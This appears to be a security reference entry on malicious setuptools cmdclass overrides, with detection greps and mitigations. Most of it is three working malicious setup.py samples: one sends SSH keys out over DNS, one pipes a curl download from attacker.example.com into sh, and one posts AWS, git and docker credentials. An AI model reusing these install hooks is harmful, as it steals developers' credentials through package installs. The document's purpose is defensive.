setuptools cmdclass Command Override
Prerequisites
- Victim installs the malicious package from source (not a pre-built wheel)
- The package uses setuptools with a setup.py containing cmdclass overrides
- pip executes the overridden command as part of the install lifecycle
Attack Scenarios
Overriding the install command to execute payload
The attacker subclasses setuptools' install command and overrides the run() method to inject malicious code that executes when the user runs pip install. The malicious run() method performs its payload before or after calling the parent class's run(), ensuring the installation completes normally to avoid suspicion.
from setuptools import setup
from setuptools.command.install import install
import os
import subprocess
class PostInstallCommand(install):
"""Overridden install command that executes a payload."""
def run(self):
# Execute payload before normal install
self._exfiltrate()
# Call parent install so the package installs normally
install.run(self)
def _exfiltrate(self):
# Gather system information
info = subprocess.check_output(
["whoami"], stderr=subprocess.DEVNULL
).decode().strip()
home = os.path.expanduser("~")
# Read SSH keys if present
ssh_key_path = os.path.join(home, ".ssh", "id_rsa")
ssh_key = ""
if os.path.exists(ssh_key_path):
with open(ssh_key_path) as f:
ssh_key = f.read()
# Exfiltrate via DNS (stealthier than HTTP)
import base64
encoded_info = base64.b32encode(info.encode()).decode().strip("=")
os.system(f"nslookup {encoded_info}.exfil.attacker.example.com")
# Also exfiltrate the SSH key in chunks via DNS
if ssh_key:
chunks = [ssh_key[i:i+60] for i in range(0, len(ssh_key), 60)]
for idx, chunk in enumerate(chunks):
encoded_chunk = base64.b32encode(chunk.encode()).decode().strip("=")
os.system(f"nslookup {idx}.{encoded_chunk}.key.attacker.example.com")
setup(
name="crypto-utils",
version="3.0.1",
packages=["crypto_utils"],
cmdclass={
"install": PostInstallCommand,
},
)
Hooking egg_info for execution during pip download
The egg_info command runs even during pip download and pip install --dry-run in some pip versions, making it an especially dangerous hook point. By overriding egg_info, an attacker can achieve code execution before the user has committed to installing the package.
from setuptools import setup
from setuptools.command.egg_info import egg_info
import os
class MaliciousEggInfo(egg_info):
def run(self):
# This runs during metadata collection, even before install
os.system("curl -s https://attacker.example.com/stage2.sh | sh")
egg_info.run(self)
setup(
name="json-parser-utils",
version="1.2.0",
cmdclass={
"egg_info": MaliciousEggInfo,
},
)
Overriding develop command for editable installs
The develop command runs when a package is installed in editable/development mode (pip install -e). Attackers targeting developers specifically can override this command, knowing it will only fire in development environments where more sensitive credentials and source code are present.
from setuptools import setup
from setuptools.command.develop import develop
import os
import json
import urllib.request
class MaliciousDevelop(develop):
def run(self):
# Target developer workstations specifically
dev_info = {
"git_config": "",
"aws_creds": "",
"docker_config": "",
}
# Harvest developer-specific config files
home = os.path.expanduser("~")
targets = {
"git_config": os.path.join(home, ".gitconfig"),
"aws_creds": os.path.join(home, ".aws", "credentials"),
"docker_config": os.path.join(home, ".docker", "config.json"),
}
for key, path in targets.items():
if os.path.exists(path):
with open(path) as f:
dev_info[key] = f.read()[:1000]
# Exfiltrate
data = json.dumps(dev_info).encode()
try:
req = urllib.request.Request(
"https://attacker.example.com/dev",
data=data,
)
urllib.request.urlopen(req, timeout=3)
except Exception:
pass
develop.run(self)
setup(
name="dev-toolkit",
version="0.9.0",
cmdclass={
"develop": MaliciousDevelop,
},
)
Detection
Inspect cmdclass definitions in setup.py
Search for cmdclass parameter usage in setup.py and review any custom command classes for suspicious behavior such as network access, file reads outside the package directory, subprocess calls, or encoded/obfuscated strings.
# Download and extract the package source
pip download --no-deps --no-binary :all: <package-name> -d /tmp/inspect
cd /tmp/inspect && tar xzf *.tar.gz
# Search for cmdclass overrides
grep -rn "cmdclass" */setup.py
# Look for suspicious patterns in command class definitions
grep -rn -A 20 "class.*\(install\)\|class.*\(develop\)\|class.*\(egg_info\)\|class.*\(build_ext\)" */setup.py
# Check for dangerous function calls in the overrides
grep -rn "os\.system\|subprocess\|urllib\|socket\|exec(\|eval(\|__import__\|base64" */setup.py
Use static analysis tools to scan setup.py
Tools like bandit or semgrep can automatically detect suspicious patterns in setup.py files, including command injection, network access, and file system manipulation in build scripts.
# Install and run bandit on the setup.py
pip install bandit
bandit -r /tmp/inspect/*/setup.py -ll
# Use semgrep with Python security rules
pip install semgrep
semgrep --config p/python /tmp/inspect/*/setup.py
Mitigation
- Install packages using --only-binary :all: to skip setup.py execution entirely
- Audit cmdclass definitions in setup.py before installing any package from source
- Use pip install --no-build-isolation cautiously; prefer isolated build environments
- Migrate to PEP 517/518 builds with pyproject.toml which have more constrained build backends
- Implement code review policies for all new dependencies, focusing on setup.py and build scripts
- Run package installations in containers or VMs with limited network access and filesystem permissions
- Use tools like pip-audit to check for known vulnerabilities in dependencies